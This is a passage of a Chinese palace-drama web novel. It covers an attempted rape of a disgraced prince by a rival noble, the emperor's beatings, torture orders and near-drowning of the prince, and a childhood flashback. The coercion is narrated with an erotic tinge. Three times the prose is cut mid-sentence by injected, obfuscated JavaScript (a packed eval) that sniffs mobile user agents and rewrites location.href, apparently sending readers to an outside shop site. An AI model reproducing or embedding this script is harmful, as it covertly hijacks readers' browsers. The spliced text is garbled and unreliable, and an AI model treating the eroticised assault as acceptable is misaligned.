“果然是狄人的野种,血里流淌的都是不知悔改的低劣跟下作,你是这样,你母亲也是,若不是那妖孽祸国,罕西十三郡也不会至今还落在狄人之手,半数梁人被屠戮于边郡,先帝还留你这余孽一条命实在是仁至义尽。” 乐湛是被萧皇后养大的,对于所谓的生母并没有什么感情,很意外,这番话并没有踩到乐湛的痛处,他冷笑着嘲讽他捅刀子没捅对位置,“说完了?说完了可以滚了吗?” 李锦玉盯着他,竟真的没有再开口挖苦,他想起了父兄口里的祸水阙氏,心里想的却不是什么国仇家恨,而是足以迷惑元成帝的,也是这样一张脸吗? 自然垂落的发丝显现出一种几乎溶于阳光的淡金色,鬼使神差的,他居然好奇这丝绸一样的长发是什么触感。 一只手倏然闯入视野,乐湛以为他要动手打人,在脑子还没反应过来的瞬间,身体下意识做出防御动作。 只不过那只手显然不是奔着打架来的,牛头不对马嘴地错开了他的格挡,贴着他的头发在侧脸脸颊上摸了一下。 乐湛愣住了,恶心的触感还停留在脸颊上。 “你干什么!” 乐湛扶着椅子大惊失色站起来,一连后退了好几步,他嫌恶地狠狠抹了两把脸,想把被他摸过的感觉抹掉,动作很粗鲁,很快搓出一片薄红。 李锦玉自己也吃了一惊,看着自己的手,若有所思。 这是怎么了?他自己也不知道。 乐湛警惕地看他,他想到了宋邈,又想到了那个宫人,更觉反胃了些,到现在他才理解为什么李修宜当初是那般的反应。 原来被男的看上真的是一件惊悚又令人作呕的事。 惊惧,憎恶,还有身处低位的畏缩,全部都反映在那张漂亮得几乎耀人的脸上,将他的面庞扭曲撕扯,不但不显狰狞,反倒多了几分说不清的欲色。 李锦玉看一眼便觉得有一团火在身体里烧,烧得他全身血液盈沸。 “本来没打算做什么,被你一喊,倒真有点想做点什么了。” 乐湛脸上恶色更甚,几乎像在看一桶臭气熏天的泔水,“你怎么不去死,狗爹养的死杂碎,你这个□□的死短袖少在这里恶心人了!” 李锦玉自幼众心捧月千呼万唤长大的,现下将骂个狗血喷头,不住冒火,“非要我撕了你这张臭嘴不可吗?” 李锦玉步步接近,乐湛骤然出手,将手边的茶盏一起盖上来,李锦玉侧头闪避还是被水溅了一脸,看着摔碎一地的瓷片,心底怒火更甚,他抬手薅住乐湛的头发,乐湛吃痛蹙眉,伸手就划花了李锦玉的脸,还要伸手去戳他的眼睛。 李锦玉脸颊火辣辣的疼,意识到破了皮,恨不得将眼前这个人剁碎了喂狗。 所谓天子血亲,无上尊贵的两个人就这么体面全无地扭打在一起,混乱之下乐湛一脚踏空,拉着李锦玉仰面滑跌在地,后背砸在碎瓷片上,骤然失了力气,剧痛之下他弓起脊背,背后的血迹缓缓渗出。 李锦玉瞬间占了优势,一把将他撑着要起来的身体按下去,目光射向门外的随侍,“把门带上,没有我发话一个都不许进来!” 乐湛还没意识到他要做什么,李锦玉故意将他一条腿拉开,按到极点,胯骨传来的痛让乐湛忍不住地溢声痛呼,这个身位让他本能地感到恐惧,顾不上痛,撑着手臂要往外爬。 李锦玉掐住他挣扎的肩膀,阴狠笑道,“现在知道害怕了,当初磋磨我的时候怎么没想到今天?” 乐湛瞬间意识到这混蛋为了报复他真的要做到那一步,由于姿势先天的劣势,哪里都使不出劲来,他开始动起了曲线救国的念头,“李锦玉。” 李锦玉心念一动,这一声给他心里原本的那点念头火上浇油,一路从小腹烧下去。 胯骨剧烈的痛反倒叫他清醒了点,乐湛吃痛皱紧了眉尖,“你不能这么对我,我即便是戴罪之身,好歹也是姓李,你这是藐视皇室,冒犯李家,你在打李祯的脸,他不会放过你的!” 李锦玉摆明了要做风流鬼,“死不死是明天的事,到时候再说。” 乐湛即便不想哭,但是这么多年他早已经将眼泪视作对付萧皇后,对付李修宜,达成目的的工具,这具身体非常熟练地留下一滴眼泪,“我知道错了!” 李锦玉动作稍顿。 乐湛眼见服软有效,“我当初不该以东平王府要挟你跪我,不该踩烂你的手,不该夺你所爱,反正我也快被处死了,我们的仇到时候也一并消了,看在自幼相识的份上,饶过我这一次……” 李锦玉看着那张菱形的小嘴一张一合,耳边什么声音都不见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171704|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能看见那一抹嫣红剔透的色彩,忽然精虫上脑,真的想尝尝味道。 乐湛也防到这一点了,双手死死揪着他的脖领,将两人的距离拉开到最大,他竭力将脸往旁边偏,生怕李锦玉忽然凑上来。 乐湛紧闭双眼,眼泪储在眼窝,绝世遗迹一般,随着他的颤抖,在这汪小小的湖泊上掀起一阵惊涛骇浪。 李锦玉从没见过他这副软弱可怜样,想当年他仗着皇后与太子的势,横行霸道那副得意样真叫人厌烦。 转眼那张娇纵傲气的脸就在他身下,为了不被上而低声求饶。 李锦玉魔怔地伸出手,手掌将他整张脸盖了个完完全全,能感受到手掌下温热的吐息和震颤的羽睫,过分漂亮的东西总是最先激发人的毁灭欲。 “别哭了,”好像心底里有一块地方在寸寸塌陷,他顷刻沉默地收回手,“我有办法救你。” 见他好像没听见似的,李锦玉替他擦了擦泪,“太祖皇帝当年怕他殡天后有手足互残之祸,给我爷爷留了一道有印鉴的空白诏书,除谋逆以及危害社稷之事,都可写上,我会想办法拿到诏书,上书求表兄饶你一条命。” 乐湛抵抗的动作稍缓,小心睁开眼,看着李锦玉,李锦玉神色无比认真,不像在寻他消遣。 乐湛眼睛转了转,哑着声音问,“你说真的?” 李锦玉心下鄙夷他果真是个贪生怕死的贱货,却又隐隐高兴他这是答应了,“东平王府只有我一个独孙,这些东西自然最后都是归我的,我会向表兄要了你,带你回王府。” 乐湛忖度着他话里的可信度,神思被牵引住了,手上抗拒的力道自然放松,李锦玉心下软成一片,凝视着乐湛认真思考的神色,轻轻将掐在自己脖领上的那双手拿下。 可转眼乐湛又翻脸了,他重又用力推远李锦玉,“我不信你!那道诏书是你们王府的安身立命的东西,你凭什么给我!” 他和李锦玉关系差成什么样,他心里还是有数的。 “凭什么?当然是凭你的表现。” 乐湛只顾着防他亲上来,没有意识到方才扭打间衣领已经散乱地敞开,扭头看向一边到时候,脆弱的脖颈肩颈展露无遗,李锦玉的视线一寸寸在上面梭移。 乐湛看到一丝生的希望,自然不舍得轻易放过,无论如何,先把诏书骗出来再说,“你空说无凭,我没办法相信你,总得让我看见确有其事才行。” 李锦玉戏谑的目光盯住乐湛的脸,盯住了那双含了无数诡计算计的眼睛,好像要看到他的心,久久地没有说话。 就在乐湛疑心他是反悔了,李锦玉忽然悠悠笑道,“跟我玩阳奉阴违,以为我不知道你是什么货色?” 乐湛眼见被戳穿了,还没来得及心虚,就被人一只手捞起来,放到桌子上。 “你觉得现在有你选择的余地吗?不该是你哄着我,求着我救你?” 转眼,李锦玉又循循善诱道,“大丈夫能屈能伸,今天委屈些,将这条命保住了,焉知来日没有翻身的时候,表兄当年不就是这般杀回邺城的,你难不成真有哪里比不上他吗,风水轮流转,说不准哪天又轮到你来磋磨我了,是不是?” 乐湛被明里暗里讥讽一通,抬眼怒视着他,心里却在思考这笔交易的可行性。 活着,还有什么是比活着更重要的? 李锦玉看他不说话,全当是默认了,心下全是得手的暗喜,立即倾身上前,在他那垂涎已久的脖子上狠狠地咬了一口。 属于男人的气息喷洒在颈间,脖子上一痛,乐湛两边飘摇的思绪骤然一片清明,他果然还是不行! 杀人不过头点地,死就死了! “等等我不要了,你放开我!”乐湛抬腿要踹,反被人握住脚踝拉开,两人距离被拉得更近。 “晚了。”李锦玉自认不是什么正人君子,没有箭在弦上还能撤回的说法。 正这时候,门忽然开了,李锦玉被打搅了兴致,烦躁丛生,转身朝着外面大喊,“不是说没我的命令不许进来吗?” 可转眼气焰就被一盆凉水浇熄,无力地冒着细烟,“表兄……” 两人还维持着交合的姿势,看着门外背光站着的人,从来没有一次觉得身上这么冷过。 李修宜看了一眼,像是看到了什么极其脏污的东西,漠然转身,“将这两个混账给我拖出来。” 5. 原配变小三 吃惊的不止皇帝与诸臣,就连藏在这场意外背后的宋邈也瞪大了眼,因为这跟他预料中的完全不一样。 他想报复李璟,亲自动手风险太大,于是便留心打听了一下,看看邺城之中和他仇怨最深的人是谁。 在十双手数不过来的仇人里,当仁不让的便是东平王孙李锦玉。 据说这二人的梁子往前倒数二十年就已经结下了,在李璟当权那几年更是没把李锦玉当人看,甚至还抢了人家的未婚妻子。 李锦玉本人呢,身为邺城头一号的显贵人物,也是个狂傲自大之人,根本不屑于做表面功夫,前几日还当众勾肩搭背地跟宋泓毅调笑:“是邺城待的舒坦还是你们望平待得舒坦?” 宋邈一眼便敲定了这个人。 具体也不用他做什么,在祭典这天东平王府会进宫,李锦玉自然不会放过这个落井下石的好机会。 宋邈只用在李锦玉换掉冷宫护卫到时候装作不知,故意让这两个人见上面。 而后将被抽下的禁卫再调到任上,造成多了一支禁卫的冲突。 而他两手不沾事,问罪起来也不过是束下不严,让有心之人钻了空子罢了,怎么样都赖不到他头上。 乐湛说要捎上一个人一起上路,自然不会有比眼前这个更好的选择。 仇人相见分外眼红,最后不管是乐湛杀了李锦玉,还是李锦玉杀了乐湛,但凡在祭典当天破了杀禁,皇帝必然要出面做出表示,给全天下人一个交代。 至于为什么说好的仇人最后会滚到一起去,这件事宋邈暂时还没有头绪。 上清宫。 人撤了个干净,沉默压在这大殿里,三个人怀着各样的心思,沉默不语,水波纹在曲水中漾出层层涟漪。 皇帝支着头,静静看着底下跪着的两个人,“说说吧,为什么会出现在冷宫。” “去瞧瞧李璟,顺便挖苦两句,”李锦玉只有在李修宜面前才难得老实一回。 隐没在黑暗里的脸看不清喜怒,“然后。” “然后……打了一架。”他倏地抬头,看向李修宜,“是我动了歪心思,是我硬要强迫他,这事跟李璟没什么干系。” “你强迫李璟?”李修宜皱眉,“原因呢?” 李锦玉不由心虚了一下,低声回道,“一时兴起。” “好,好。” 李修宜一连说了两个好,头一次在他脸上看到怒色,可见这一回真是气得不轻,他起身。 “都拖下去,乱棍打死。” 乐湛狠狠咬了一下唇,认命闭上眼,同时还有点解脱了,这几天引颈受戮的日子他是过够了。 李锦玉看见四周涌上来压制他的侍卫,霍然站起来,朝着李修宜的背影喊道,“我一人做事一人当,要杀要剐冲我一个人来就是了。” 李修宜猛然回头,那锐利的眼神恨不得真的将这个孽畜生吞活剐了,他还穿着祭典时的玄色冕服,宽阔繁复到了极点,玄衣上的十二章纹泛着无上华光,恍若真龙盘腾,同时压迫感也到了极点。 李修宜迈了两步,盯着李锦玉残存抓痕的脸看了两秒,下一瞬一巴掌就上去了。 这一下给李锦玉打得够呛,还没站稳下一巴掌跟着就来了,李锦玉踉跄跌倒在地,当即嘴里吐出一口血。 “你一人当?你当得起吗?祭祀之日,当众□□,我要你们这两条命来抵,冤枉吗?” 从前李修宜最疼爱的除了乐湛便是李锦玉,虽然这两个人明里暗里的不对付,李修宜也总是偏私替乐湛教训李锦玉,导致后来李锦玉怕得见了他就躲。 说到底都是他看着长大的,李修宜自以为清楚李锦玉的品行心性如何,人虽是不拘一格随性了些,却没什么坏心。 可事实是什么呢? 乐湛伙同奸佞构陷,害的他兵败邙山,李锦玉违背他的禁令,强迫他另一个弟弟行□□之事。 什么天家风范,什么规矩体统,父子不是父子,兄弟不是兄弟,君臣不叫君臣,都成了一纸笑谈。 两个人被拖出去。 大殿之外隐约传来了讯仗鞭笞骨肉的声音,那刑具粗硬结实,从一人高的头顶落下也足够将人的腰椎胯骨打碎,要打死一个人甚至十棍之内就能做到。 李修宜立于水面上,身影随着涟漪荡开。 大梁尚水,宣称以水承天命,以玄为尊,当年在建立这座宫殿时废了极大的人力物力,举国上下搜集了最擅风水堪舆的大师,将宫殿与水体结合,殿内渠宽六尺,设于北侧,池岸六阶,曲折盘横,映衬着步入大殿的人影,庄严而宏大。 年幼时,李修宜就站在宫里最高的无重楼上,看着底下密密麻麻的蚂蚁搬着远超过他们身体那么大的货物,佝偻着背蹒跚迈步。 那些苦役愿意这么辛劳吗?他们浑浊的眼睛里会流出眼泪吗?这一辈子就这么度过会感到遗憾吗? 养尊处优的生活让他没有办法感同身受,李修宜自有记忆起就知道他会是这社稷的主人,只要是他想要的东西,最后都会躺在他的手心里。 世上之事对他来说过于唾手可得,所以很多时候,他看所有人都是面目模糊的个体,都是脚下爬过的蝼蚁,没有太大的区别。 如果没有秩序,就没有这座浸满了血泪的宫殿,他要做的就是维持秩序,所有破坏他秩序的人都要死。 水中的影子逐渐趋于平静,他看了一眼身边冒头的影子,“启禀陛下,殿外东平王单衣素服求见。” 李修宜未置可否,盯着幽深的水面缄默不语,东平王李执今年六十有一,三代单传就这么一个独孙,自然是举全族上下之力都要保住这一个命根子。 可任他东平王府如何的势大也盖不过皇帝去,李锦玉犯了死罪,李修宜铁了心了要他的命,天命不可违,就是李执触柱而死也不过是上路的人再多一个罢了。 “愿意跪就让他跪着。”李修宜摆摆手,觉得事情越发没意思,他忽然厌烦至极。 季怀垂首答是,却并未退下,“但东平王手中举着诏书,说是太祖皇帝遗命。” 李修宜脚步顿住,寻声望来,恢复平静的水面重又掀起波澜,泛着阴沉可怕的幽暗之色,“宣。” 乐湛跪伏在长椅上,大仗一下一下地往背上砸,新伤旧伤纠缠不清地混在一块成了血肉模糊的烂肉,刚两眼一黑要昏死过去,下一棍又叫他骤然清醒过来,反复来回地撕扯他的神经。 乐湛要疯了,忍不住地祈祷快一点吧,死了也无所谓,反正快一点吧。 “都先停停,陛下召见,将这二人带进去。” 冷汗淌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171705|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下从下巴低落在地,乐湛仍然趴在原地不动,他呆愣地看着汗滴,倒真希望这是死后的幻听。 背后的伤处被反复撕裂,迸出的血迹染红了大片,缓缓扩散晕开,被带到上清殿的时候跪不住,直接瘫软在地。 李修宜一个眼神也没有看过来,他撑着额角,看着桌上那张玄色诏书,上面细密精细的金色描摹着日月山川,却一个字也没有。 “这就是你敢跟朕叫嚣的资本?真以为有了这个朕就奈何不了你?”李修宜两只指并拢,在上面敲了敲,“朕若不认,便也只是废纸一张。” 李锦玉咽了一口血,扬起一个孩子气的笑,拍起了马屁,“表兄宅心仁厚,从前是最疼爱我跟李璟的,我们犯了滔天大错不敢抵赖,现在挨了这几下丢了半条命也算罪有应得了,皮肉之苦不妨事,只要能留我们一条命就好了。” “别一口一个我们的,”李修宜将诏书折了一道,往桌上一撂,“想用一张废纸换两条命,不能够吧。” 如果只能保一个人的话…… 李锦玉沉默半晌,俯身至地,“今日之事皆是我横行无忌惹出来的祸,不敢求陛下饶恕我的性命。” 乐湛蓦地转头看向李锦玉。 没想到他说的是真的,没想到他没骗他。 即便只是这么微小的反应,却好似火上浇油一般,叫李修宜心底迅速腾升出一种烦躁不快的滋味,好似本该归属于他,躺在他手心里的东西被别人逗弄得分了神。 这种不悦越是来得没理由,李修宜的脸色便越是冷严肃穆。 “朕是在让你做选择?私闯禁地,扰乱祭祀的死罪暂且按下不表,你强迫李璟行□□之事还没那容易一笔揭过吧,朕一日不废他为庶人,他就一日还是朕的弟弟,你当皇宫里是什么地方,当我李家是什么人?” 李锦玉低垂着脸,“臣弟罪该万死。” “你要找死,好,朕成全你。” 李修宜沉着脸下达最后的命令,“即日起,将李锦玉押入诏狱,打断他不干净的手脚再接上,如此反复,直到断气为止,人总要为自己做过的事付出代价,你的祖父不舍得教导你,朕不妨代劳。” 李锦玉被侍卫拽着起身,“陛下!说好了只要我这一条命对吧,是不是可以放过李璟了?” “带走!”李修宜一掌拍在御案上,声音带了毫不遮掩的怒意。 转眼殿里就只剩下二人。 乐湛觉得周身的气压更低了,几乎喘不过气来,他躺在水池的边沿,细看水里漾开的涟漪,那水不是墨黑的一片,而是分了浓淡,他半个身体映入水中,比其他地方更浓重了些,晕不开的墨迹一般。 忽然肩头上的黑影由淡转浓,几乎将他完全笼罩,咬住牙拼命才忍住牙关的战栗,眼窝里的泪水到了极限,沿着鼻尖,滴入幽深的水面,断断续续的激起细微的涟漪,沿着中心缓缓漾开。 “看来我不在的这两年光景是真的变了,就连你们两个都能冰释前嫌了,”李修宜蹲下,随手拨开他脸上凌乱的碎发,“什么时候搞上的?” “?”乐湛诧异抬眼,似乎不很相信这种话是能从李修宜嘴里说出来的。 “打算靠着自荐枕席换一条生路,至少也要求个能靠得上的人,李锦玉够格吗?倒不如试着求我看看。” 6. 永怀 “李祯,”乐湛的声音几乎低不可闻,“要杀的话就给我一个痛快吧。” 事已至此,求与不求又有什么区别,不过是叫自己死得更不体面一点罢了。 回应乐湛的只有死寂,好像这座华丽的宫殿除了他已经没有第二个人了,片刻后一声轻笑传入他耳中,像是愉悦,又像是嘲讽他白日做梦。 “死是最容易的事,”李修宜微微一笑,眼里闪着幽暗的光,“不让你亲身体会一番我从前的痛苦,又怎么能解我心头之恨。” 乐湛的手指死死扣住池壁,他紧闭着双眼,紧攥住心口,缩着肩发抖,指尖被扣得血迹斑斑也没注意到,安静得好像死了很久一般。心脏好像从千万个密密麻麻的孔里渗出血,以一种可怕的速度腐烂殆尽。 这是打娘胎里带出来的毛病,一有惊惧的时候就会心悸痛,泡在药罐子里养了几十年,后来又跟着李修宜去边郡挥了几年剑,原本已经快大好了,自打三年前那场罕见的暴雪之后,这毛病是愈演愈烈了。 李修宜坐在台阶上,无动于衷地看着他在病痛里咬牙忍耐,一池黑水映出的轮廓在扭曲撕扯,李修宜的面上却一丝表情也没有。 “我的好弟弟,我的手足臂膀,至信之人,背着我跟别人暗通款曲要置我于死地,别的人也就罢了,偏偏是李琰与杜获,偏偏是这两个人!你不知道当年母后的死跟他们两个脱离不了干系?究竟我哪里对不起你,母后又哪里对不起你?”李修宜费解又痛恨地看着脚边的人,“为什么?李璟,告诉我为什么?” 乐湛好像被哪个字眼狠狠的烫了一下,有的东西他没办法面对,只想更快地结束这一切。 “为什么?”他集中了最后一点生命力,撑身坐起,回头看向李修宜,眼里是喷涌的怨恨,什么畏惧什么后果,都在这一瞬间被抛去九霄云外,“因为我恨你!” 李修宜面容短暂的空白了一瞬,难以置信,“你说什么?” “我就是恨你!所有的人里面我最恨的就是你,恨你这副高高在上的姿态,在我面前炫耀你显贵的出身,炫耀父王的宠爱,还要装成大善人来施舍我,可怜我,你凭什么?明明我们是一样的人,明明我也姓李!凭什么我生来就要低你一等!凭什么你能那么轻松地拥有我求而不得的一切!” 他说得又快又急,这一番话已经在心里憋了太久,明明这念头日夜都在灼烧着他,他还要若无其事摆出一副天真无邪的好弟弟模样去讨好李修宜,他已经忍得够久了! 李修宜被他破釜沉舟的决心镇住了,闭眼深呼吸平复了一会,“你真是这么想的?” “是,”宣泄完这一通,后面要承担任何后果他都认了,乐湛如释重负地懒散坐起,不再装作恪守礼节的样子做给李修宜看,一言一行只为了让他满意。 “你待我好,难道就没有一刻鄙夷过我是狄人所生,就不曾有一刻觉得留我在身边更能衬托你的身份,我不会感激你的,就连母后将我养在身边,也不过是因为父王的宠爱被我的生母夺走,想在我身上找回来……” 骤然一巴掌将他整个人打偏,乐湛膝盖从池子边缘滑下去,整个人栽进水池里,双脚踏不到底,池壁光滑攀附不住,入目只有黑暗,水不断涌入鼻腔,窒息的恐怖袭来,明明已经存了死心,却还是忍不住在水里扑腾挣扎。 李修宜再也没办法保持冷静,按着他的头往手里压,“我早该知道你是个养不熟的白眼狼,对于你这人,我还是太宽纵了。” 就在将要窒息的前一刻,乐湛又被捞出水面,他大口呼吸着空气,脑子一片混沌地趴在池边发懵。 他刚刚说了什么? 终于缓过劲了,涌上头的血气顿时凉下去,他双手攀上李修宜的手臂,声音发抖,“我错了,哥,我错了我真的知错了!” 李修宜恨不得把他的头按进水里就溺死在这,“你知错?” 李修宜抓住他的手臂霍然起身,将他整个人提起来拖到地面上,乐湛几乎瞬间就听到了骨头脱节的声音,他就像被一只手吊起来准备剥皮抽筋的牲畜,生生疼出来的眼泪啪嗒砸在李修宜的手背上。 李修宜压根没有察觉到,只是为了克制住暴虐膨胀的杀欲便已经占据了他全部的神思,他没有心情顾及其他,拽着乐湛往殿外走。 乐湛还没来得及站稳,几乎是被活生生拖出去的,李修宜的步伐太快太急,他又被反手拽着,竭尽全力才能勉强跟上。 刚才浸了水,浑身湿透了,一迈出大殿冷风吹得他遍体生寒,乐湛回握住李修宜的手腕,一边跌跌撞撞跟上他的脚步,一边用哀求的眼神看他,“是我口不择言,你别生气了好不好。” 李修宜不但没有手软,反而一把将他拖到身前,“人总要为自己说过的话做过的事负责,你知道的,李璟。” 乐湛险些没跟上,被拽住的手臂让他有了一个着力的点这才没跌倒,“我知道,我知道的哥哥。” 宋邈正在殿外候着求见,想问询一下怎么处置那支被收买的禁军。 正在与郎官沟通,就见着身边两个人拉扯着大步从身边走过。 宫人眼观鼻鼻观心,跪地行李,仿佛没看见一般。 只有宋邈直愣愣地盯着两人看,“陛下……” 李修宜目不斜视地大步掠过,反倒是乐湛多看了他一眼。 宋邈看着走过去的两个人,嘴角浮出一丝微妙的笑意,他看向郎官,“劳烦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171706|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,既然陛下有事在身,那么臣也不在这里久等了,告辞。” 两边的宫墙飞速后移,宫人皆转身面壁而立,莫敢直视,乐湛看着熟悉的地方,心里莫名生出一丝疑窦和抗拒。 永怀宫? 是永怀宫! 乐湛面色惊变,他止住脚步,挣扎着要推开李修宜的钳制,“等一下!我不要!” 李修宜两耳不闻,一手抓住乐湛两只皓腕,一把将他推进去。 乐湛刚要往回跑就被走上来的李修宜单手押住,“这不是你命令建造的宫殿吗?现在做出这副样子给谁看?” 乐湛含着泪摇摇头,当年他命令建了这座感念母后的宫殿,让宫人每日洒扫祭奠焚烧祭文,但他一步也没有踏足过,他没有办法面对母后。 他该怎么解释他与谋害母后的凶手同流合污,又怎么解释他杀了母后唯一的儿子。 背上的伤痛已经压不过乐湛现在汹涌的愧疚。 他没有办法跟母后交代,明明在她死前答应会替她继续保护哥哥。 李修宜掐着乐湛走进永怀宫,心里还憋着一股邪火,丝毫没有手软一把将他砸在蒲团上。 他撤了一步在旁边的蒲团上拜了三拜,转身走到画像前,点燃了几柱香,依次插进祭坛里,看着壁上的画像出神了一会。 “就跪在这里想清楚,想到死为止。” 乐湛俯身至地,脸藏在两臂之间,他听见了门合上的声音,听见外面的李修宜吩咐宫人,“不必给食水,好好地看着,但凡再放进去一个人,朕拿你们的命来填。” 乐湛不知跪伏了多久,直到后脖颈到脊背僵硬酸痛,再起身,背后撕扯开的伤口突然合上,痛得钻心,可他头一回觉得痛得好,至少能缓解一点心头的灼烧。 这三年一直藏在心底不敢面对的沉珂被骤然撕开,乐湛才知道那一块许久没有见到天光的地方已经溃烂很久了。 视线缓缓上移,画像上的女人眉眼沉静,含着微微的笑意像是三月春光和煦,端庄典雅,雍容华贵仿佛一副留白的山水水墨画。 世人称赞阙氏容色倾城,却不欣赏她这般妖艳无格,不可一世的美,认为女子应当如萧皇后一般,美丽不失温婉,随和不失庄严,明快又不失沉稳,同时又能干练利落地打理后宫事宜,站在帝王身后为他广纳后宫,只有这般才堪当天下母。 “母后……”乐湛干涩地叫了一声。 她不会再原谅他了。 汹涌的困意袭来,乐湛不知道这是要晕厥的前兆,他仍旧昂起脸,看着那画像,竟然觉得记忆中母后的面庞开始模糊,他快要想不起来了。 必须想起来才行,那些被他刻意遗忘的记忆。 7. 狐狸尾巴 神思飘回了元成七年。 乐湛躺在榻上,刚把被子扯到胸口以下,立马又被一直手拉上去,“不可以顽皮哦小乐。” 明黄的锦被在下巴处被掖好,只露出一张漂亮宛如瓷娃娃的脸,浓密的睫毛扑闪扑闪地看着母后,“我再听话了母后。” 萧复雪的心头顿时软成一滩水,皱皱鼻,宠溺地在乐湛奶膘未退的脸颊上捏捏,“快快睡觉,母后给你讲寓言故事。” 乐湛高兴地闭上眼,“好!” 萧复雪坐在床边的梨木圆椅上,抚摸着乐湛的头顶,这一回讲的是一个小狐狸的故事。 这天,小狐狸在森林里迷了路,不小心掉进了猎户的陷阱,被夹断了尾巴,它伤心地跑回狐狸窝,果然遭到了其他同伴嘲笑,狐狸来到山下,朝着山神娘娘祈祷,“尊敬的山神娘娘,请赐我一条尾巴吧!” 山神娘娘听到了它的祈求,赐给它一条洁白蓬松的尾巴。狐狸高高兴兴回了家,新尾巴受到了所有狐狸的夸奖,狐狸听了很高兴,再次跑到山下,朝着山神娘娘祈祷,“尊敬的山神娘娘,请赐我一条彩霞般绚烂的尾巴吧!” 山神娘娘答应了它的祈求,赐给它一条彩霞般绚烂的尾巴。狐狸高高兴兴回了家,果然又受到了所有狐狸的夸奖,狐狸很高兴,又跑到山下,朝着山神娘娘祈祷,“尊敬的山神娘娘,请赐我一条阳光般璀璨的尾巴吧!” 这一次山神娘娘没有答应它的祈求,还将它变回了原本的秃毛尾巴,小狐狸失去了最心爱的尾巴,坐在地上大声哭起来。 乐湛闭着的眼睛睁开,“这个故事母后从前也说给过哥哥听吗?” 那时候他年纪尚小,甚至不明白嫉妒这两个字更深刻的含义,只是总是看到父王总是更喜欢哥哥一点,心里有些不明所以的难受,他也想让所有人更爱自己一点,就像爱李修宜那样,乐湛想从母后这里找到一点她更爱自己的证明。 那时候还以为藏得很好,长大以后才发现,这些暗戳戳的小心思在萧皇后眼中根本无处遁形。 萧复雪并未因为他是个三岁小孩就随口敷衍一句,而是想了一想,“哥哥小时候也会跟小乐一样,等着母后讲故事哄他睡觉。” 乐湛有些沮丧。 他有的东西李修宜都已经拥有过了。 “不过母后这里还有一个没有讲给哥哥听过的故事,你要不要听?” 乐湛两眼闪闪的放光,“要!” 萧复雪做出很严重的样子,“那你先要答应母后,这件事,万万不能叫你哥哥知道。” 乐湛坐起来,信誓旦旦,“我不和哥哥说,我保证!” 有了共同的秘密,乐湛更确定母后爱自己多一点,他怀着无比郑重严肃的心情,像在迎接圣光的虔诚信徒。 然后就听起了母后讲起来才子佳人缠绵悱恻的爱情故事。 这可比上一个狐狸尾巴难理解多了,但是乐湛觉得这是一件很重要的事,关系着和母后共同的秘密。他必须弄懂它。 他挠了挠头,尝试理解,“为什么马公子有权有势,崔小姐还要跟穷书生私奔呢?” “嘘!”萧复雪食指竖到唇心,“小声。” 乐湛立刻双手捂嘴,点点头。 萧复雪转身坐到床边,忍不住将乐湛搂进怀里抱着,开始与他解释。 “因为人是有七情六欲的,一个人的感情就驱使他做出各种各样的选择,崔小姐喜欢穷书生,她便是抛弃荣华富贵也情愿,就像你喜欢母后,有人拿出举世珍宝要你以后再也见不到母后了,你情愿吗?” 乐湛拨浪鼓似的摇摇头。 “是呀,”萧复雪心里爱的紧,抱着他都手忍不住地收紧了些,“你和哥哥也是这样的,你们是至亲手足,不论怎么样,你们的心总是连在一块的。” 乐湛从母后的怀里抽出一只手,这才能喘口气,他迟疑了一会,“可是我感觉哥哥不是很喜欢我。” 李修宜对任何人都是一视同仁的温和有礼,但是相同的态度放在他身上,若真是至亲手足,会不会显得过于冷漠了点? 萧复雪刚要开口,却又滞了一滞,“哥哥不是不喜欢你,他只是有一点不开心。” 乐湛颇诧异地回头看母后,“哥哥也会不开心吗?” 在他的眼中,李修宜什么都有了,这样的人也会不开心吗? 萧复雪笑里带了几分清郁,“是呀,哥哥也会不开心。” 她和皇帝总是对李修宜极端严苛,要他孩子的年纪就要做到万事滴水不漏,要他恪守礼节做一个优秀的储君,要他德才兼备无欲成圣。 他从来没有说过什么,在其位谋其政,身处高位就该承受住相应的责任,底下的人都蠢蠢欲动地盯着,他必须坐稳这个位置,登高跌重的代价李修宜比任何人都清楚。 萧复雪即便想疼爱李修宜,但总是害怕宠溺会生出怠惰,她只能碾碎一颗慈母之心,用最冷严苛刻的面目去对待李修宜,逼着他不断上进,即便被看重也不允许有一丝一毫的松懈,他必须将这储君之位坐得稳固一点,再稳固一点。 生来就让他背负这些责任,或许真的是她这个母后的过错。 “我怎么做才能让你更开心一点。”乐湛小声询问。 萧复雪看着半空,咧开一个牵强的笑,“哥哥他……” 脱口而出之后她才意识到乐湛问的是“你”,不是哥哥。 萧复雪低头看向乐湛,乐湛也望着她,“我感觉母后也很不开心。” 